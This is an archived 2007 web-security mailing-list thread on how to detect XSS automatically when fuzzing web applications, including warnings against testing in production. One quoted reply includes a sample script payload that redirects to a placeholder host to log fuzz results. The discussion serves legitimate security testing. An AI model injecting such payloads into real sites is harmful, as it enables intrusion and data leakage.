Re: [WEB SECURITY] How to detect XSS in an automated fashion

["Arian J. Evans" <arian.evans@xxxxxxxxxxxxxx>]

There's a few ways to do this properly, and most fail.

(even vendors with "stateful assessment and persistent XSS" detection
claims often do not actually find *any* XSS.)

But this does not change the fact that it is important.

In fact, it is almost as important as Framing, err, Cross-Domain
Framing; for those of you unfamiliar with HTML or most websites
created in the late 90's, more can be found here:
http://www.cenzic.com/pdfs/CenzicWpXfs.pdf

...
I'm removing all my technical errata; we'll save my two solutions for
the platform I work on, but instead want to point out the obvious
dangers folks seem to miss in their rush to find easy solutions to
detect this.
....

There's two huge problems here:

1. You are playing with a very volatile cocktail if you start testing
production software in production environments using the methods
described in this thread. </burned_fingers>

2.  These approaches may be accurate (I personally do not share this
opinion) but they are myopically fixating on an instantiated instance
of the problem: A specific attack vector.

Essentially most scanners and the approaches mentioned here are
measuring "can I exploit this using javascript" aka "let me measure
the issue using one specific attack vector".

That attack vector is not the root cause of the problem. I believe
there are other, better ways to measure the probability of the
problem, which include focusing on the root cause, measuring
inference, and analyzing emergent behaviors.

I'm pretty sure that another approach is needed beyond what has been
suggested in this thread so far, and I'm not armchair quarterbacking
here like list contributors often do; I have working results.

Anecdotally, not to sound salesy, but we hear all the time "how did
you find so much more XSS than Widget or consultant xyz?". I mention
this only to claim credibility (working for a vendor with proprietary
scanning automation tools makes me suspect of bias....no doubt)

There are many reasons we hear this, and I don't want to start some
debate about parsing, scanner features, shiny buttons or shiny
reports, etc. That's not the point.

We actually go about testing from a completely different perspective
than what's being discussed here. So, at the very least, I encourage
you to think about measuring the *problem*as diligently as you are
thinking about measuring *one attack vector*.

These conversations seem to me to always degenerate into "zooba zooba
zooba do magic sprinkle DOM shove a lot of live code into your app and
see what happens!!!" as opposed too "let's think about the root cause
of the problem and look for, and analyze, that". And yes, I mean
black-box analysis.

The only times I go down the dangerous path of live-code injection is
if I can infer the presence of a very solid blacklist, and even then I
only go down a high-probability, close-match path, as opposed to code
that could really be interpreted by a parser.

Live code?

That road leads to madness.

And by mad, I mean: Lots of People -- at you.

...

By all means, though: smash away at your non-prod and non-UAT environments.


-- 
Arian Evans
software security stuff




On 8/30/07, James Landis <jcl24@xxxxxxxxxxx> wrote:
> It doesn't look like anyone has tried to make the distinction here between
> reflected and stored XSS. Fuzzing makes a lot of sense for catching
> reflected vulns, but they're also a lot lower in value than stored.
> Automated runtime testing for stored XSS gets a lot more complicated, and I
> have yet to see a solid approach to that problem. It's theoretically pretty
> simple, but in practice I could see it getting out of hand very quickly.
>
> -j
>
>
> On 8/30/07, Billy Hoffman <Billy.Hoffman@xxxxxxxxxxxxxxx> wrote:
> > Not bad, but this isn't great either. Ignoring how you gain code
> > execution (<script> tag, scriptable attribute, javascript href, CSS,
> > etc), your "call back to a server" logging method requires the following
> > 5 special characters: . = : / ?
> >
> > While piggybacking on the browser certain works for a quick tool, you
> > really need to embed a full JavaScript interpreter into your scan and be
> > able to control DOM events, properties, etc. Then you confirmation step
> > can be as simple as setting a variable!
> >
> > Trust me, I've been down this road before. Go look at Mozilla's Rhino or
> > SpiderMonkey if the licensing works for your project.
> >
> > Billy Hoffman
> > --
> > Lead Researcher, SPI Labs
> > SPI Dynamics, An HP Company
> > http://www.spidynamics.com
> > Phone:  678-781-4800
> > Direct:   678-781-4845
> > Attend SPICON 2.0 - SPI Dynamics' User Conference - and earn CPE
> > credits.
> > Sign up today at http://www.spicon2007.com/.
> >
> > -----Original Message-----
> > From: gaz_sec@xxxxxxxxxxxx [mailto: gaz_sec@xxxxxxxxxxxx]
> > Sent: Wednesday, August 29, 2007 9:42 PM
> > To: websecurity@xxxxxxxxxxxxx; Billy Hoffman
> > Cc: travisaltman@xxxxxxxxx
> > Subject: RE: [WEB SECURITY] How to detect XSS in an automated fashion
> >
> > I've thought about a XSS fuzzer a bit more now, you'll have to
> > excuse me but it's 2.30am here :) Right the best way to do it in my
> > opinion is:-
> >
> > 1. Base site contains a iframe with the target site in.
> > 2. The base site sends XSS fuzz to the target site through
> > javascript location.
> > 3. The fuzzer contains javascript code to log the results back to a
> > server side script. E.g.
> >
> <script>self.location='http://yoursite.com?logresults?fuzzResult=Fuz
> > zBaseEncoded'</script>
> >
> >
> > On Thu, 30 Aug 2007 01:48:29 +0100 Billy Hoffman
> > < Billy.Hoffman@xxxxxxxxxxxxxxx> wrote:
> > >Of course, that only works if your web scanner has a JavaScript
> > >interpreter!
> > >
> > >Billy
> > >
> > >-----Original Message-----
> > >From: gaz_sec@xxxxxxxxxxxx [mailto:gaz_sec@xxxxxxxxxxxx]
> > >Sent: Wed 8/29/2007 3:03 PM
> > >To: websecurity@xxxxxxxxxxxxx
> > >Cc: travisaltman@xxxxxxxxx
> > >Subject: Re: [WEB SECURITY] How to detect XSS in an automated
> > >fashion
> > >
> > >Hi Travis
> > >
> > >I've wrote a HTML/JS Fuzzer in which I encountered the same
> > >problem. I decided to create a simple javascript callback which
> > >was
> > >executed on successful fuzz. I base encoded the result and sent
> > >the
> > >information via a normal HTML image (really a PHP script) which
> > >logged the results.
> > >
> > >Cheers
> > >
> > >Gareth
> > >
> > >On Wed, 29 Aug 2007 19:22:22 +0100 Travis Altman
> > ><travisaltman@xxxxxxxxx> wrote:
> > >>I am trying to run through a dictionary of XSS attacks (aka
> > >>fuzzing) on a
> > >>web application.  What is the best way to determine, in an
> > >>automated
> > >>fashion, if each attack was successful?  Would I simply review
> > >the
> > >>source
> > >>code of the response to see if my attack was encoded or filtered?
> > >>
> > >>http://travisaltman.com
> > >
> > >--
> > >Click to reduce wrinkles, increase energy and drive - anti-aging.
> >
> >http://tagline.hushmail.com/fc/Ioyw6h4dWDHmHiSvMyDeVPgVWtCgUCy5Ky07
> > >XGWad22ySq1P1RSIOW/
> > >
> > >
> >
> >-------------------------------------------------------------------
> > >---------
> > >Join us on IRC: irc.freenode.net #webappsec
> > >
> > >Have a question? Search The Web Security Mailing List Archives:
> > > http://www.webappsec.org/lists/websecurity/
> > >
> > >Subscribe via RSS:
> > >http://www.webappsec.org/rss/websecurity.rss [RSS Feed]
> >
> > --
> > Click to reduce wrinkles, increase energy and drive - anti-aging.
> >
> http://tagline.hushmail.com/fc/Ioyw6h4dWDHVfywNwP9evw7ksS1ajcnZa81mdkZe4
> > yQdEP7hqEvZMm/
> >
> >
> >
> ------------------------------------------------------------------------
> > ----
> > Join us on IRC: irc.freenode.net #webappsec
> >
> > Have a question? Search The Web Security Mailing List Archives:
> > http://www.webappsec.org/lists/websecurity/
> >
> > Subscribe via RSS:
> > http://www.webappsec.org/rss/websecurity.rss [RSS Feed]
> >
> >
> >
> ----------------------------------------------------------------------------
> > Join us on IRC: irc.freenode.net #webappsec
> >
> > Have a question? Search The Web Security Mailing List Archives:
> > http://www.webappsec.org/lists/websecurity/
> >
> > Subscribe via RSS:
> > http://www.webappsec.org/rss/websecurity.rss [RSS Feed]
> >
> >
>
>

----------------------------------------------------------------------------
Join us on IRC: irc.freenode.net #webappsec

Have a question? Search The Web Security Mailing List Archives: 
http://www.webappsec.org/lists/websecurity/

Subscribe via RSS: 
http://www.webappsec.org/rss/websecurity.rss [RSS Feed]